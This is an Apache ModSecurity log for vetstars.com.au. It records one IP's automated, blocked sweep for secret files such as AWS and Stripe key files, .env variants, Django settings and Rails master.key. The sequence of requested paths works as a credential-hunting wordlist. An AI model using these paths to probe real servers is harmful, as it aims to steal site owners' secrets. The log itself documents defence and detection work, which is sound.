[Fri Dec 05 23:05:49.187307 2025] [:error] [pid 18614:tid 18629] [client 44.248.196.54:50468] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aws-credentials.json"] [unique_id "aTL0zXHum9jj9plt7MWSgAAAAU0"]
[Fri Dec 05 23:05:49.919100 2025] [:error] [pid 32416:tid 32426] [client 44.248.196.54:50478] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aws-config.js"] [unique_id "aTL0zdw2m4oeKabXf6-LywAAAYg"]
[Fri Dec 05 23:05:50.648882 2025] [:error] [pid 18579:tid 18602] [client 44.248.196.54:50480] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aws-keys.json"] [unique_id "aTL0zsAUSulJty2JiBrOMgAAABE"]
[Fri Dec 05 23:05:51.372109 2025] [:error] [pid 18614:tid 18627] [client 44.248.196.54:50492] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aws/secrets.yaml"] [unique_id "aTL0z3Hum9jj9plt7MWShQAAAUs"]
[Fri Dec 05 23:05:52.101825 2025] [:error] [pid 32385:tid 32395] [client 44.248.196.54:50498] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aws/access-keys.js"] [unique_id "aTL00K-noNHpDvGbpCtR0gAAAQc"]
[Fri Dec 05 23:05:52.834029 2025] [:error] [pid 32416:tid 32429] [client 44.248.196.54:50500] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aws/config.ini"] [unique_id "aTL00Nw2m4oeKabXf6-L0wAAAYs"]
[Fri Dec 05 23:05:53.600133 2025] [:error] [pid 32416:tid 32438] [client 44.248.196.54:50504] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aws/credentials.bak"] [unique_id "aTL00dw2m4oeKabXf6-L1QAAAZQ"]
[Fri Dec 05 23:05:54.329010 2025] [:error] [pid 32416:tid 32425] [client 44.248.196.54:50508] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.aws/secrets"] [unique_id "aTL00tw2m4oeKabXf6-L2QAAAYc"]
[Fri Dec 05 23:05:55.061422 2025] [:error] [pid 32416:tid 32435] [client 44.248.196.54:50518] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aws-env.json"] [unique_id "aTL009w2m4oeKabXf6-L3QAAAZE"]
[Fri Dec 05 23:05:55.793475 2025] [:error] [pid 32385:tid 32402] [client 44.248.196.54:49396] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aws-keys.env"] [unique_id "aTL006-noNHpDvGbpCtR2QAAAQ4"]
[Fri Dec 05 23:05:56.520604 2025] [:error] [pid 18579:tid 18599] [client 44.248.196.54:49404] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.aws/config.bak"] [unique_id "aTL01MAUSulJty2JiBrONQAAAA4"]
[Fri Dec 05 23:05:57.252683 2025] [:error] [pid 32385:tid 32406] [client 44.248.196.54:49408] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aws/secrets.json"] [unique_id "aTL01a-noNHpDvGbpCtR2gAAARI"]
[Fri Dec 05 23:05:57.985333 2025] [:error] [pid 18521:tid 18560] [client 44.248.196.54:49420] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aws/config.properties"] [unique_id "aTL01U_hJ6r18UnAijyuigAAAMk"]
[Fri Dec 05 23:05:58.710638 2025] [:error] [pid 18579:tid 18595] [client 44.248.196.54:49430] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.aws/credentials.json"] [unique_id "aTL01sAUSulJty2JiBrOOAAAAAo"]
[Fri Dec 05 23:05:59.441829 2025] [:error] [pid 32385:tid 32410] [client 44.248.196.54:49440] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aws_keys.py"] [unique_id "aTL016-noNHpDvGbpCtR3AAAARY"]
[Fri Dec 05 23:06:00.174299 2025] [:error] [pid 35962:tid 35987] [client 44.248.196.54:49452] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/stripe/config"] [unique_id "aTL02J-hnYjbYINfh7H_CgAAAFc"]
[Fri Dec 05 23:06:00.902790 2025] [:error] [pid 35962:tid 35978] [client 44.248.196.54:49454] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/stripe.json"] [unique_id "aTL02J-hnYjbYINfh7H_CwAAAE4"]
[Fri Dec 05 23:06:01.634407 2025] [:error] [pid 18520:tid 18540] [client 44.248.196.54:49458] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/stripe.js"] [unique_id "aTL02YOC8XSo46ZrIeMOrAAAAJA"]
[Fri Dec 05 23:06:02.360184 2025] [:error] [pid 18614:tid 18622] [client 44.248.196.54:49462] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/stripe-config.yaml"] [unique_id "aTL02nHum9jj9plt7MWSkgAAAUY"]
[Fri Dec 05 23:06:03.091820 2025] [:error] [pid 35962:tid 35974] [client 44.248.196.54:49470] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/stripe-keys.json"] [unique_id "aTL025-hnYjbYINfh7H_DwAAAEo"]
[Fri Dec 05 23:06:03.817510 2025] [:error] [pid 18614:tid 18638] [client 44.248.196.54:49482] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/stripe/credentials"] [unique_id "aTL023Hum9jj9plt7MWSkwAAAVY"]
[Fri Dec 05 23:06:04.549584 2025] [:error] [pid 18521:tid 18563] [client 44.248.196.54:49486] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/stripe/secrets.yml"] [unique_id "aTL03E_hJ6r18UnAijyujQAAAMw"]
[Fri Dec 05 23:06:05.278101 2025] [:error] [pid 32385:tid 32403] [client 44.248.196.54:49490] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/stripe.env"] [unique_id "aTL03a-noNHpDvGbpCtR4QAAAQ8"]
[Fri Dec 05 23:06:06.004478 2025] [:error] [pid 18521:tid 18561] [client 44.248.196.54:41392] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/stripe/config.php"] [unique_id "aTL03k_hJ6r18UnAijyujwAAAMo"]
[Fri Dec 05 23:06:06.730479 2025] [:error] [pid 18521:tid 18575] [client 44.248.196.54:41396] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.stripe/keys"] [unique_id "aTL03k_hJ6r18UnAijyukAAAANg"]
[Fri Dec 05 23:06:07.454846 2025] [:error] [pid 32385:tid 32394] [client 44.248.196.54:41400] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/stripe_api.json"] [unique_id "aTL036-noNHpDvGbpCtR5AAAAQY"]
[Fri Dec 05 23:06:08.186005 2025] [:error] [pid 32416:tid 32433] [client 44.248.196.54:41414] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/config/stripe.rb"] [unique_id "aTL04Nw2m4oeKabXf6-L8wAAAY8"]
[Fri Dec 05 23:06:08.912786 2025] [:error] [pid 18520:tid 18548] [client 44.248.196.54:41426] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/stripe_keys.py"] [unique_id "aTL04IOC8XSo46ZrIeMOtAAAAJg"]
[Fri Dec 05 23:06:09.634459 2025] [:error] [pid 18614:tid 18634] [client 44.248.196.54:41440] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/stripe.ini"] [unique_id "aTL04XHum9jj9plt7MWSlwAAAVI"]
[Fri Dec 05 23:06:10.358912 2025] [:error] [pid 32416:tid 32426] [client 44.248.196.54:41442] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/stripe.properties"] [unique_id "aTL04tw2m4oeKabXf6-L-wAAAYg"]
[Fri Dec 05 23:06:11.090128 2025] [:error] [pid 32385:tid 32407] [client 44.248.196.54:41452] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/stripe/config.js"] [unique_id "aTL046-noNHpDvGbpCtR5QAAARM"]
[Fri Dec 05 23:06:11.816511 2025] [:error] [pid 32416:tid 32439] [client 44.248.196.54:41456] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/stripe/secrets.json"] [unique_id "aTL049w2m4oeKabXf6-L_gAAAZU"]
[Fri Dec 05 23:06:12.546257 2025] [:error] [pid 18614:tid 18623] [client 44.248.196.54:41458] [client 44.248.196.54] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.stripe"] [unique_id "aTL05HHum9jj9plt7MWSmAAAAUc"]
[Fri Dec 05 23:06:13.273797 2025] [:error] [pid 18521:tid 18560] [client 44.248.196.54:41464] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/stripe-credentials.json"] [unique_id "aTL05U_hJ6r18UnAijyumAAAAMk"]
[Fri Dec 05 23:06:13.997976 2025] [:error] [pid 32385:tid 32396] [client 44.248.196.54:41476] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/api/stripe.js"] [unique_id "aTL05a-noNHpDvGbpCtR5wAAAQg"]
[Fri Dec 05 23:06:14.722326 2025] [:error] [pid 18579:tid 18587] [client 44.248.196.54:41492] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/local_settings.py"] [unique_id "aTL05sAUSulJty2JiBrOPQAAAAI"]
[Fri Dec 05 23:06:15.452230 2025] [:error] [pid 18614:tid 18636] [client 44.248.196.54:41502] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/django_settings.json"] [unique_id "aTL053Hum9jj9plt7MWSmQAAAVQ"]
[Fri Dec 05 23:06:16.178123 2025] [:error] [pid 32385:tid 32391] [client 44.248.196.54:38274] [client 44.248.196.54] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.django"] [unique_id "aTL06K-noNHpDvGbpCtR6wAAAQM"]
[Fri Dec 05 23:06:16.911250 2025] [:error] [pid 18579:tid 18588] [client 44.248.196.54:38284] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manage.py"] [unique_id "aTL06MAUSulJty2JiBrOQAAAAAM"]
[Fri Dec 05 23:06:17.643255 2025] [:error] [pid 32416:tid 32435] [client 44.248.196.54:38296] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/config/settings/local.py"] [unique_id "aTL06dw2m4oeKabXf6-MCgAAAZE"]
[Fri Dec 05 23:06:18.370464 2025] [:error] [pid 32385:tid 32390] [client 44.248.196.54:38306] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/secrets.py"] [unique_id "aTL06q-noNHpDvGbpCtR7gAAAQI"]
[Fri Dec 05 23:06:19.096349 2025] [:error] [pid 32416:tid 32423] [client 44.248.196.54:38310] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/django.env"] [unique_id "aTL069w2m4oeKabXf6-MDwAAAYU"]
[Fri Dec 05 23:06:19.826634 2025] [:error] [pid 35962:tid 35983] [client 44.248.196.54:38322] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/python.config.json"] [unique_id "aTL065-hnYjbYINfh7H_FQAAAFM"]
[Fri Dec 05 23:06:20.552017 2025] [:error] [pid 35962:tid 35985] [client 44.248.196.54:38338] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/app/settings/production.py"] [unique_id "aTL07J-hnYjbYINfh7H_GAAAAFU"]
[Fri Dec 05 23:06:21.282487 2025] [:error] [pid 18521:tid 18559] [client 44.248.196.54:38352] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/django/secrets.json"] [unique_id "aTL07U_hJ6r18UnAijyumwAAAMg"]
[Fri Dec 05 23:06:22.009388 2025] [:error] [pid 35962:tid 35965] [client 44.248.196.54:38356] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.pythonenv"] [unique_id "aTL07p-hnYjbYINfh7H_HAAAAEE"]
[Fri Dec 05 23:06:22.756326 2025] [:error] [pid 32385:tid 32400] [client 44.248.196.54:38358] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/config/local.py"] [unique_id "aTL07q-noNHpDvGbpCtR_QAAAQw"]
[Fri Dec 05 23:06:23.493881 2025] [:error] [pid 18520:tid 18544] [client 44.248.196.54:38370] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/django.ini"] [unique_id "aTL074OC8XSo46ZrIeMOyQAAAJQ"]
[Fri Dec 05 23:06:24.227269 2025] [:error] [pid 18614:tid 18624] [client 44.248.196.54:38378] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/config/database.yml"] [unique_id "aTL08HHum9jj9plt7MWSnQAAAUg"]
[Fri Dec 05 23:06:24.959755 2025] [:error] [pid 18520:tid 18547] [client 44.248.196.54:38392] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/config/secrets.yml"] [unique_id "aTL08IOC8XSo46ZrIeMOzAAAAJc"]
[Fri Dec 05 23:06:29.235773 2025] [:error] [pid 18614:tid 18627] [client 44.248.196.54:42102] [client 44.248.196.54] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".key"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/config/master.key"] [unique_id "aTL09XHum9jj9plt7MWSogAAAUs"]
[Fri Dec 05 23:07:00.139440 2025] [:error] [pid 32416:tid 32436] [client 44.248.196.54:55716] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/config/routes.rb"] [unique_id "aTL1FNw2m4oeKabXf6-MVwAAAZI"]
[Fri Dec 05 23:07:00.864945 2025] [:error] [pid 18521:tid 18561] [client 44.248.196.54:55726] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.ruby-version"] [unique_id "aTL1FE_hJ6r18UnAijyutgAAAMo"]
[Fri Dec 05 23:07:01.594014 2025] [:error] [pid 18614:tid 18616] [client 44.248.196.54:55742] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/config/application.yml"] [unique_id "aTL1FXHum9jj9plt7MWS9AAAAUA"]
[Fri Dec 05 23:07:02.318636 2025] [:error] [pid 18579:tid 18597] [client 44.248.196.54:55758] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/secrets.yml.enc"] [unique_id "aTL1FsAUSulJty2JiBrOiQAAAAw"]
[Fri Dec 05 23:07:03.055283 2025] [:error] [pid 18579:tid 18586] [client 44.248.196.54:55762] [client 44.248.196.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/master.key.bak"] [unique_id "aTL1F8AUSulJty2JiBrOjQAAAAE"]
